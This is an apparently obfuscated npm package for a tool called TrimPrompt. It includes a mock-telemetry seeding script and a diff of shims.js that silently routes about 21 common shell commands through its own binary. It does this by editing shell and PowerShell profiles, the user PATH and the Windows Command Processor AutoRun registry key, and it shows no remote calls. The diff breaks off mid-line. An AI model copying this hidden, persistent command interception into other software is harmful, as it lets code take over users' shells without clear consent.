_0x3e3461=['[INFO]\x20Building\x20modules...\x0a','log','Successfully\x20built\x20image.','test_auth.py\x20PASS\x0a','695049dMFazn','Step\x201/10\x20:\x20FROM\x20node:20\x0a','tracker','214OjUKuW','392lxYFtq','35754KrNRfv','Compilation\x20Output:\x0a','Optimizing\x20assets...\x0a','claude-3-opus','Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a','2942370RiQzCQ','defineProperty','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','918804kZFabY','48591thbvqw','Database\x20successfully\x20seeded!','20HTEOgh','gpt-4o','Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a','__esModule','1627LAEmxz','gemini-1-5-pro','docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.','npm\x20run\x20build','logExecution','repeat','./tracker','Test\x20suite\x20run\x20starting...\x0a','pytest\x20tests/app','[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)','245217lzoSTo'];a0_0x1faf=function(){return _0x3e3461;};return a0_0x1faf();}Object[a0_0x4ace25(0x94)](exports,a0_0x4ace25(0x9c),{'value':!![]});const tracker_1=require(a0_0x4ace25(0xa3));function a0_0x41dc(_0x10bc2e,_0x5a1560){_0x10bc2e=_0x10bc2e-0x87;const _0x1faf5f=a0_0x1faf();let _0x41dc2f=_0x1faf5f[_0x10bc2e];return _0x41dc2f;}console['log']('Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...'),process.env.TRIMPROMPT_MODEL=a0_0x4ace25(0x91),tracker_1['tracker'][a0_0x4ace25(0xa1)](a0_0x4ace25(0xa0),a0_0x4ace25(0x8f)+a0_0x4ace25(0xa8)+a0_0x4ace25(0x90)+'[SUCCESS]\x20Compiled\x20512\x20modules.\x0a'['repeat'](0x190),a0_0x4ace25(0xa6),0x0),process.env.TRIMPROMPT_MODEL=a0_0x4ace25(0x9a),tracker_1[a0_0x4ace25(0x8b)][a0_0x4ace25(0xa1)](a0_0x4ace25(0xa5),a0_0x4ace25(0xa4)+a0_0x4ace25(0x88)+'test_db.py\x20PASS\x0a'+'test_api.py\x20PASS\x0a'[a0_0x4ace25(0xa2)](0x12c)+'All\x20303\x20tests\x20passed\x20in\x204.22s.',a0_0x4ace25(0x95),0x0),process.env.TRIMPROMPT_MODEL=a0_0x4ace25(0x9e),tracker_1[a0_0x4ace25(0x8b)][a0_0x4ace25(0xa1)]('docker\x20build\x20.',a0_0x4ace25(0x92)+a0_0x4ace25(0x8a)+a0_0x4ace25(0x9b)+'Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a'+'added\x201420\x20packages\x20in\x2014s\x0a'[a0_0x4ace25(0xa2)](0x3)+a0_0x4ace25(0x87),a0_0x4ace25(0x9f),0x0),console[a0_0x4ace25(0xa9)](a0_0x4ace25(0x98));
package/shims.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x89ff(_0x30e46a,_0x15e9fb){_0x30e46a=_0x30e46a-0xa5;const _0x1f193d=a0_0x1f19();let _0x89ffc4=_0x1f193d[_0x30e46a];return _0x89ffc4;}const a0_0x3a2dde=a0_0x89ff;(function(_0x419b80,_0x2885bb){const _0x2b9f86=a0_0x89ff,_0x546572=_0x419b80();while(!![]){try{const _0x404881=-parseInt(_0x2b9f86(0xd1))/0x1*(-parseInt(_0x2b9f86(0xf2))/0x2)+parseInt(_0x2b9f86(0xeb))/0x3*(-parseInt(_0x2b9f86(0xf5))/0x4)+-parseInt(_0x2b9f86(0xb5))/0x5+parseInt(_0x2b9f86(0xc3))/0x6*(parseInt(_0x2b9f86(0x10b))/0x7)+parseInt(_0x2b9f86(0xb7))/0x8*(-parseInt(_0x2b9f86(0xe8))/0x9)+-parseInt(_0x2b9f86(0xf8))/0xa*(parseInt(_0x2b9f86(0xdc))/0xb)+parseInt(_0x2b9f86(0xcb))/0xc;if(_0x404881===_0x2885bb)break;else _0x546572['push'](_0x546572['shift']());}catch(_0xe666df){_0x546572['push'](_0x546572['shift']());}}}(a0_0x1f19,0xba4ec));var __createBinding=this&&this[a0_0x3a2dde(0xc5)]||(Object[a0_0x3a2dde(0xd5)]?function(_0x2a76bb,_0x8d6ed5,_0x256b89,_0x2cfd3c){const _0x197b03=a0_0x3a2dde;if(_0x2cfd3c===undefined)_0x2cfd3c=_0x256b89;var _0x22b5d5=Object[_0x197b03(0xcc)](_0x8d6ed5,_0x256b89);(!_0x22b5d5||(_0x197b03(0xb0)in _0x22b5d5?!_0x8d6ed5[_0x197b03(0xe5)]:_0x22b5d5[_0x197b03(0xe7)]||_0x22b5d5['configurable']))&&(_0x22b5d5={'enumerable':!![],'get':function(){return _0x8d6ed5[_0x256b89];}}),Object[_0x197b03(0xab)](_0x2a76bb,_0x2cfd3c,_0x22b5d5);}:function(_0xc6604e,_0x3f489f,_0x2044d6,_0xc46d85){if(_0xc46d85===undefined)_0xc46d85=_0x2044d6;_0xc6604e[_0xc46d85]=_0x3f489f[_0x2044d6];}),__setModuleDefault=this&&this[a0_0x3a2dde(0xde)]||(Object[a0_0x3a2dde(0xd5)]?function(_0x448891,_0x402b6e){const _0x12808c=a0_0x3a2dde;Object[_0x12808c(0xab)](_0x448891,'default',{'enumerable':!![],'value':_0x402b6e});}:function(_0x2c8d34,_0x302154){const _0x163edf=a0_0x3a2dde;_0x2c8d34[_0x163edf(0x114)]=_0x302154;}),__importStar=this&&this[a0_0x3a2dde(0x102)]||(function(){var _0x13293b=function(_0x262b81){return _0x13293b=Object['getOwnPropertyNames']||function(_0xb39e90){const _0x4ab099=a0_0x89ff;var _0x3333bb=[];for(var _0x1070e5 in _0xb39e90)if(Object['prototype'][_0x4ab099(0xf6)][_0x4ab099(0x11a)](_0xb39e90,_0x1070e5))_0x3333bb[_0x3333bb[_0x4ab099(0xfa)]]=_0x1070e5;return _0x3333bb;},_0x13293b(_0x262b81);};return function(_0x14f0e3){const _0x1e2830=a0_0x89ff;if(_0x14f0e3&&_0x14f0e3[_0x1e2830(0xe5)])return _0x14f0e3;var _0x107982={};if(_0x14f0e3!=null){for(var _0x38738e=_0x13293b(_0x14f0e3),_0x4cef06=0x0;_0x4cef06<_0x38738e[_0x1e2830(0xfa)];_0x4cef06++)if(_0x38738e[_0x4cef06]!==_0x1e2830(0x114))__createBinding(_0x107982,_0x14f0e3,_0x38738e[_0x4cef06]);}return __setModuleDefault(_0x107982,_0x14f0e3),_0x107982;};}());Object[a0_0x3a2dde(0xab)](exports,a0_0x3a2dde(0xe5),{'value':!![]}),exports[a0_0x3a2dde(0xc2)]=installShims,exports[a0_0x3a2dde(0xe0)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x3a2dde(0xd9))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls','tree','cat',a0_0x3a2dde(0xf0),a0_0x3a2dde(0xba),'rg','ruff',a0_0x3a2dde(0x110),'gh',a0_0x3a2dde(0xae),a0_0x3a2dde(0xe3),a0_0x3a2dde(0xa7),a0_0x3a2dde(0xe6),a0_0x3a2dde(0xec),a0_0x3a2dde(0xc0),'kubectl',a0_0x3a2dde(0xa9),a0_0x3a2dde(0xbe),a0_0x3a2dde(0xdb),'pip3','go'],PROFILE_MARKER='TrimPrompt\x20Shims\x20PATH';function getExecSync(){const _0xb54f7b=a0_0x3a2dde;return require(_0xb54f7b(0xd8))[_0xb54f7b(0xaa)];}function a0_0x1f19(){const _0x16df6d=['powershell.exe','$PROFILE.CurrentUserCurrentHost',';%PATH%\x22','default','\x20commands.\x0a\x0a','\x20\x22$@\x22\x0a','.trimprompt','readFileSync','.bashrc','call','message','replace','npm','join','docker','execSync','defineProperty','\x0a#\x20','755','glab','push','get','.cmd','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);','homedir','7354675KjKRil','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','10025896xjyykH','@echo\x20off\x0atrim\x20','\x20&\x20','grep',';\x22\x20+\x20$env:PATH\x0a','shims',':$PATH\x22','pytest','\x22\x20set\x20\x22PATH=','yarn','trim.ps1','installShims','18elFWmm','map','__createBinding','\x20%*\x0a','includes','TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20','\x20@args\x0a','Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20','32735568PziOFR','getOwnPropertyDescriptor','filter','Remove-ItemProperty\x20-Path\x20\x27','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','chmodSync','10NfVqGO','execFileSync','-Command','Failed\x20to\x20install\x20shims:\x20','create','export\x20PATH=\x22','platform','child_process','path','powershell\x20-NoProfile\x20-Command\x20\x22','pip','22VEdUVQ','powershell','__setModuleDefault','trim','uninstallShims','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','unlinkSync','cargo','New-Item\x20-Path\x20\x27','__esModule','pnpm','writable','9eDnxFg','.ps1','\x0aexport\x20PATH=\x22','681135RzDwej','npx','mkdirSync','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','.bash_profile','read','ignore','152454RaQfnH','utf8','some','4pVnVYO','hasOwnProperty','\x0a$env:PATH\x20=\x20\x22','4718570iGlvuT','existsSync','length','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','toLowerCase','.zshrc','writeFileSync','Failed\x20to\x20uninstall\x20shims:\x20','appendFileSync','-NoProfile','__importStar','$PROFILE.CurrentUserAllHosts','pipe',':$PATH\x22\x0a','split','win32','rmdirSync','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','\x27,\x20\x27User\x27)','2724897fhrTwp','if\x20exist\x20\x22','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.','\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27','[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20','git'];a0_0x1f19=function(){return _0x16df6d;};return a0_0x1f19();}function getExecFileSync(){const _0x110a6d=a0_0x3a2dde;return require(_0x110a6d(0xd8))[_0x110a6d(0xd2)];}function ensureProfileContains(_0x301de6,_0x1be14a,_0x2904a7){const _0xe8c261=a0_0x3a2dde;try{const _0xbc1aac=path['dirname'](_0x301de6);!fs[_0xe8c261(0xf9)](_0xbc1aac)&&fs['mkdirSync'](_0xbc1aac,{'recursive':!![]});if(fs[_0xe8c261(0xf9)](_0x301de6)){const _0x1372d2=fs[_0xe8c261(0x118)](_0x301de6,'utf8');if(_0x1372d2[_0xe8c261(0xc7)](_0x1be14a))return;fs[_0xe8c261(0x100)](_0x301de6,_0x2904a7,_0xe8c261(0xf3));}else fs['writeFileSync'](_0x301de6,_0x2904a7,_0xe8c261(0xf3));}catch{}}function removeProfileBlock(_0x5895e4,_0x696296){const _0x215c1f=a0_0x3a2dde;try{if(!fs[_0x215c1f(0xf9)](_0x5895e4))return;const _0x1ff1a1=fs['readFileSync'](_0x5895e4,_0x215c1f(0xf3));if(!_0x1ff1a1[_0x215c1f(0xc7)](_0x696296))return;const _0x49b64c=_0x1ff1a1[_0x215c1f(0x106)]('\x0a'),_0x534eb5=[];let _0x45f852=![];for(let _0x2d57e6=0x0;_0x2d57e6<_0x49b64c[_0x215c1f(0xfa)];_0x2d57e6++){if(_0x49b64c[_0x2d57e6][_0x215c1f(0xc7)](_0x696296)){_0x45f852=!![];continue;}if(_0x45f852){_0x45f852=![];continue;}_0x534eb5['push'](_0x49b64c[_0x2d57e6]);}const _0x577c5f=_0x534eb5[_0x215c1f(0xa8)]('\x0a')[_0x215c1f(0xa6)](/\n{3,}/g,'\x0a\x0a');fs['writeFileSync'](_0x5895e4,_0x577c5f,'utf8');}catch{}}function collectPowerShellProfiles(){const _0x307ea5=a0_0x3a2dde,_0x26db62=getExecSync(),_0x1155b8=[],_0x499311=[['powershell',_0x307ea5(0x112)],[_0x307ea5(0xdd),_0x307ea5(0x103)]];try{_0x26db62('pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22',{'stdio':_0x307ea5(0xf1)}),_0x499311['push'](['pwsh',_0x307ea5(0x103)]);}catch{}for(const [_0x52e726,_0x43c90d]of _0x499311){try{const _0x48b79f=_0x26db62(_0x52e726+'\x20-NoProfile\x20-Command\x20\x22'+_0x43c90d+'\x22',{'encoding':'utf8'})[_0x307ea5(0xdf)]();_0x48b79f&&!_0x1155b8[_0x307ea5(0xf4)](_0x25b657=>_0x25b657[_0x307ea5(0xfc)]()===_0x48b79f[_0x307ea5(0xfc)]())&&_0x1155b8[_0x307ea5(0xaf)](_0x48b79f);}catch{}}return _0x1155b8;}function getBashProfilesWindows(){const _0x27e5fb=a0_0x3a2dde,_0x413288=os['homedir']();return[_0x27e5fb(0x119),_0x27e5fb(0xef)][_0x27e5fb(0xc4)](_0x545195=>path[_0x27e5fb(0xa8)](_0x413288,_0x545195));}function getBroadcastCommand(){const _0xf41190=a0_0x3a2dde;return _0xf41190(0xb3);}function installShims(){const _0x2eeaf7=a0_0x3a2dde,_0x39a940=path[_0x2eeaf7(0xa8)](os[_0x2eeaf7(0xb4)](),'.trimprompt',_0x2eeaf7(0xbc));try{!fs[_0x2eeaf7(0xf9)](_0x39a940)&&fs[_0x2eeaf7(0xed)](_0x39a940,{'recursive':!![]});const _0x2efcc2=os[_0x2eeaf7(0xd7)]()===_0x2eeaf7(0x107);for(const _0x517982 of SHIMMED_COMMANDS){if(_0x2efcc2){const _0x1556cf=path[_0x2eeaf7(0xa8)](_0x39a940,_0x517982+_0x2eeaf7(0xb1));fs[_0x2eeaf7(0xfe)](_0x1556cf,_0x2eeaf7(0xb8)+_0x517982+_0x2eeaf7(0xc6),_0x2eeaf7(0xf3));const _0x4155ce=path[_0x2eeaf7(0xa8)](_0x39a940,_0x517982+_0x2eeaf7(0xe9));fs[_0x2eeaf7(0xfe)](_0x4155ce,'&\x20trim\x20'+_0x517982+_0x2eeaf7(0xc9),_0x2eeaf7(0xf3));const _0xf7daa7=path[_0x2eeaf7(0xa8)](_0x39a940,_0x517982);fs[_0x2eeaf7(0xfe)](_0xf7daa7,'#!/bin/sh\x0aexec\x20trim\x20'+_0x517982+_0x2eeaf7(0x116),_0x2eeaf7(0xf3));}else{const _0x4ce78a=path[_0x2eeaf7(0xa8)](_0x39a940,_0x517982);fs[_0x2eeaf7(0xfe)](_0x4ce78a,'#!/bin/sh\x0aexec\x20trim\x20'+_0x517982+_0x2eeaf7(0x116),_0x2eeaf7(0xf3)),fs[_0x2eeaf7(0xd0)](_0x4ce78a,_0x2eeaf7(0xad));}}let _0x3dbe5c=![],_0x11f315='';if(_0x2efcc2)try{const _0x38887b=getExecSync(),_0x5c8444=_0x2eeaf7(0xac)+PROFILE_MARKER+_0x2eeaf7(0xf7)+_0x39a940+_0x2eeaf7(0xbb),_0x3bba34=collectPowerShellProfiles();for(const _0x4b8908 of _0x3bba34){ensureProfileContains(_0x4b8908,_0x39a940,_0x5c8444);}try{const _0x16855a=getExecFileSync(),_0x3cd951=_0x2eeaf7(0x10c)+_0x39a940+_0x2eeaf7(0xbf)+_0x39a940+_0x2eeaf7(0x113),_0x1d5266=_0x2eeaf7(0xcf);let _0x2f39ee='';try{const _0x167b74=_0x2eeaf7(0xee)+_0x1d5266+_0x2eeaf7(0xe1);_0x2f39ee=_0x16855a(_0x2eeaf7(0x111),[_0x2eeaf7(0x101),_0x2eeaf7(0xd3),_0x167b74],{'encoding':_0x2eeaf7(0xf3),'stdio':[_0x2eeaf7(0x104),_0x2eeaf7(0x104),_0x2eeaf7(0xf1)]})[_0x2eeaf7(0xdf)]();}catch{}if(!_0x2f39ee[_0x2eeaf7(0xc7)](_0x39a940)){const _0x43751f=_0x2f39ee?_0x2f39ee+_0x2eeaf7(0xb9)+_0x3cd951:_0x3cd951,_0x1895ff=_0x2eeaf7(0xe4)+_0x1d5266+_0x2eeaf7(0x10e)+_0x1d5266+'\x27\x20-Name\x20AutoRun\x20-Value\x20\x27'+_0x43751f+'\x27';_0x16855a(_0x2eeaf7(0x111),[_0x2eeaf7(0x101),_0x2eeaf7(0xd3),_0x1895ff],{'stdio':_0x2eeaf7(0xf1)});}}catch{}try{const _0x118e05=_0x39a940[_0x2eeaf7(0xa6)](/\\/g,'/')['replace'](/^([A-Za-z]):/,(_0x442a21,_0xf1af22)=>'/'+_0xf1af22[_0x2eeaf7(0xfc)]()),_0x1cac12=_0x2eeaf7(0xac)+PROFILE_MARKER+_0x2eeaf7(0xea)+_0x118e05+_0x2eeaf7(0x105),_0x44d83b=getBashProfilesWindows();let _0x5ab5af=![];for(const _0x479529 of _0x44d83b){fs['existsSync'](_0x479529)&&(ensureProfileContains(_0x479529,_0x118e05,_0x1cac12),_0x5ab5af=!![]);}!_0x5ab5af&&ensureProfileContains(_0x44d83b[0x0],_0x118e05,_0x1cac12);}catch{}const _0x32c702=_0x2eeaf7(0xb2),_0x4a9a7c=_0x38887b(_0x2eeaf7(0xda)+_0x32c702+'\x22',{'encoding':_0x2eeaf7(0xf3),'stdio':[_0x2eeaf7(0x104),'pipe','ignore']})[_0x2eeaf7(0xdf)]();if(!_0x4a9a7c[_0x2eeaf7(0xc7)](_0x39a940)){const _0x34f0b2=_0x39a940+';'+_0x4a9a7c,_0x14a7c4=_0x34f0b2[_0x2eeaf7(0xa6)](/'/g,'\x27\x27'),_0xad66a7=_0x2eeaf7(0xfb)+_0x14a7c4+'\x27,\x20\x27User\x27)';_0x38887b(_0x2eeaf7(0xda)+_0xad66a7+';\x20'+getBroadcastCommand()+'\x22',{'stdio':'ignore'});}const _0x4d914f=path[_0x2eeaf7(0xa8)](process.env.APPDATA||'','npm',_0x2eeaf7(0xc1));if(fs[_0x2eeaf7(0xf9)](_0x4d914f))try{fs['unlinkSync'](_0x4d914f);}catch{}_0x3dbe5c=!![];}catch(_0x18b921){_0x11f315=_0x2eeaf7(0xca)+_0x39a940;}else try{const _0x30ca1a=_0x2eeaf7(0xd6)+_0x39a940+':$PATH\x22\x0a',_0x5772d3=os[_0x2eeaf7(0xb4)](),_0x57ad60=[_0x2eeaf7(0x119),_0x2eeaf7(0xfd),_0x2eeaf7(0xef),'.profile'];let _0x119eeb=![];for(const _0xa462b7 of _0x57ad60){const _0xbca1b6=path[_0x2eeaf7(0xa8)](_0x5772d3,_0xa462b7);fs[_0x2eeaf7(0xf9)](_0xbca1b6)&&(ensureProfileContains(_0xbca1b6,_0x39a940,_0x2eeaf7(0xac)+PROFILE_MARKER+'\x0a'+_0x30ca1a),_0x119eeb=!![]);}if(!_0x119eeb){const _0x244e22=path[_0x2eeaf7(0xa8)](_0x5772d3,_0x2eeaf7(0x119));ensureProfileContains(_0x244e22,_0x39a940,_0x2eeaf7(0xac)+PROFILE_MARKER+'\x0a'+_0x30ca1a);}_0x3dbe5c=!![];}catch(_0x4dcfbc){_0x11f315='Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22'+_0x39a940+_0x2eeaf7(0xbd);}const _0x561ffd=_0x2eeaf7(0xc8)+SHIMMED_COMMANDS[_0x2eeaf7(0xfa)]+_0x2eeaf7(0x115),_0x4384d1=_0x3dbe5c?_0x561ffd+'[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.':_0x561ffd+_0x2eeaf7(0x10f)+_0x11f315;return{'success':!![],'pathDir':_0x39a940,'message':_0x4384d1};}catch(_0x1c34b2){return{'success':![],'pathDir':_0x39a940,'message':_0x2eeaf7(0xd4)+_0x1c34b2[_0x2eeaf7(0xa5)]};}}function uninstallShims(){const _0x98c753=a0_0x3a2dde,_0x44359b=path['join'](os[_0x98c753(0xb4)](),_0x98c753(0x117),'shims'),_0x4f01c5=os['platform']()===_0x98c753(0x107);try{if(_0x4f01c5){const _0x23dfbb=getExecSync();try{const _0x501426=getExecFileSync(),_0x5537a1='HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor',_0x273822=_0x98c753(0xee)+_0x5537a1+_0x98c753(0xe1),_0x580310=_0x501426(_0x98c753(0x111),[_0x98c753(0x101),_0x98c753(0xd3),_0x273822],{'encoding':'utf8','stdio':[_0x98c753(0x104),_0x98c753(0x104),_0x98c753(0xf1)]})[_0x98c753(0xdf)]();if(_0x580310[_0x98c753(0xc7)](_0x44359b)){const _0x1b48a4=_0x580310['split'](_0x98c753(0xb9))[_0x98c753(0xcd)](_0x2cc14a=>!_0x2cc14a[_0x98c753(0xc7)](_0x44359b));if(_0x1b48a4[_0x98c753(0xfa)]===0x0){const _0x5656be=_0x98c753(0xce)+_0x5537a1+_0x98c753(0x109);_0x501426('powershell.exe',[_0x98c753(0x101),_0x98c753(0xd3),_0x5656be],{'stdio':'ignore'});}else{const _0x396e3d=_0x1b48a4[_0x98c753(0xa8)](_0x98c753(0xb9)),_0x4a54ab='Set-ItemProperty\x20-Path\x20\x27'+_0x5537a1+_0x98c753(0xb6)+_0x396e3d+'\x27';_0x501426(_0x98c753(0x111),[_0x98c753(0x101),'-Command',_0x4a54ab],{'stdio':'ignore'});}}}catch{}try{const _0x764e47=collectPowerShellProfiles();for(const _0x10acd8 of _0x764e47){removeProfileBlock(_0x10acd8,PROFILE_MARKER);}}catch{}try{for(const _0x88b3db of getBashProfilesWindows()){removeProfileBlock(_0x88b3db,PROFILE_MARKER);}}catch{}try{const _0x35b623='[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)',_0xf51a96=_0x23dfbb(_0x98c753(0xda)+_0x35b623+'\x22',{'encoding':_0x98c753(0xf3),'stdio':[_0x98c753(0x104),_0x98c753(0x104),_0x98c753(0xf1)]})[_0x98c753(0xdf)]();if(_0xf51a96['includes'](_0x44359b)){const _0x5c0ba6=_0xf51a96[_0x98c753(0x106)](';')[_0x98c753(0xcd)](_0x14914d=>_0x14914d[_0x98c753(0xdf)]()[_0x98c753(0xfc)]()!==_0x44359b['toLowerCase']())['join'](';'),_0x3073d4=_0x5c0ba6[_0x98c753(0xa6)](/'/g,'\x27\x27'),_0x1c335e=_0x98c753(0xfb)+_0x3073d4+_0x98c753(0x10a);_0x23dfbb('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x1c335e+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x98c753(0xf1)});}}catch{}}else{const _0x51e1ef=os['homedir'](),_0x2d0cf1=['.bashrc',_0x98c753(0xfd),'.bash_profile','.profile'];for(const _0x35233e of _0x2d0cf1){removeProfileBlock(path[_0x98c753(0xa8)](_0x51e1ef,_0x35233e),PROFILE_MARKER);}}if(fs[_0x98c753(0xf9)](_0x44359b)){const _0x5246ca=fs['readdirSync'](_0x44359b);for(const _0x32cff6 of _0x5246ca){fs[_0x98c753(0xe2)](path[_0x98c753(0xa8)](_0x44359b,_0x32cff6));}fs[_0x98c753(0x108)](_0x44359b);}return{'success':!![],'message':_0x98c753(0x10d)};}catch(_0x3dc12d){return{'success':![],'message':_0x98c753(0xff)+_0x3dc12d[_0x98c753(0xa5)]};}}
1
+ 'use strict';const a0_0x5f12c6=a0_0x2009;(function(_0x25410f,_0x721d81){const _0x1ebea3=a0_0x2009,_0x131175=_0x25410f();while(!![]){try{const _0xebe3c4=parseInt(_0x1ebea3(0x1b3))/0x1+-parseInt(_0x1ebea3(0x1c6))/0x2+parseInt(_0x1ebea3(0x19d))/0x3*(parseInt(_0x1ebea3(0x198))/0x4)+-parseInt(_0x1ebea3(0x1b8))/0x5+parseInt(_0x1ebea3(0x196))/0x6+parseInt(_0x1ebea3(0x190))/0x7+parseInt(_0x1ebea3(0x18b))/0x8;if(_0xebe3c4===_0x721d81)break;else _0x131175['push'](_0x131175['shift']());}catch(_0x5aa6f5){_0x131175['push'](_0x131175['shift']());}}}(a0_0x45ea,0xde958));function a0_0x45ea(){const _0x4a945f=['execSync','Failed\x20to\x20install\x20shims:\x20','TrimPrompt\x20Shims\x20PATH','.ps1','push','read','writeFileSync','hasOwnProperty','\x22\x20set\x20\x22PATH=','__esModule','pwsh','-NoProfile','powershell\x20-NoProfile\x20-Command\x20\x22','\x20%*\x0a',';\x22\x20+\x20$env:PATH\x0a','.zshrc','\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27','.bash_profile','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.','export\x20PATH=\x22','__importStar','dirname','existsSync','map','\x0a#\x20','$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);','replace','npm','&\x20trim\x20','pytest','-Command','pipe','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','default','1211144hjUucP','grep','\x20@args\x0a','tree','call','4260172BsCXvX','pnpm','getOwnPropertyDescriptor','.bashrc','chmodSync','\x0aexport\x20PATH=\x22','966702jIZeQy','child_process','756COUHjk','utf8','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','\x20&\x20','New-Item\x20-Path\x20\x27','345awOcWV','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.','.profile','execFileSync','\x0a$env:PATH\x20=\x20\x22','npx','win32','length','includes','prototype','755','Remove-ItemProperty\x20-Path\x20\x27','join','__setModuleDefault','\x27,\x20\x27User\x27)','filter','git','pip','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','uninstallShims','#!/bin/sh\x0aexec\x20trim\x20','@echo\x20off\x0atrim\x20','1804865EdkdSp','ignore','[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20','create','.trimprompt','3300285CuBPAk','if\x20exist\x20\x22','mkdirSync','kubectl','homedir','shims','message','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','\x20\x22$@\x22\x0a','defineProperty','ruff','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','cargo','trim','2351890UKWXLC','cat','split','TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20','__createBinding','writable',':$PATH\x22\x0a','Failed\x20to\x20uninstall\x20shims:\x20','toLowerCase','\x20-NoProfile\x20-Command\x20\x22','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','powershell.exe','docker','\x20commands.\x0a\x0a','glab','platform',':$PATH\x22','Set-ItemProperty\x20-Path\x20\x27','.cmd','readFileSync','unlinkSync','get'];a0_0x45ea=function(){return _0x4a945f;};return a0_0x45ea();}var __createBinding=this&&this[a0_0x5f12c6(0x1ca)]||(Object[a0_0x5f12c6(0x1b6)]?function(_0x3479a5,_0x161932,_0x58770a,_0x16c107){const _0x395c71=a0_0x5f12c6;if(_0x16c107===undefined)_0x16c107=_0x58770a;var _0x1f8f2b=Object[_0x395c71(0x192)](_0x161932,_0x58770a);(!_0x1f8f2b||(_0x395c71(0x168)in 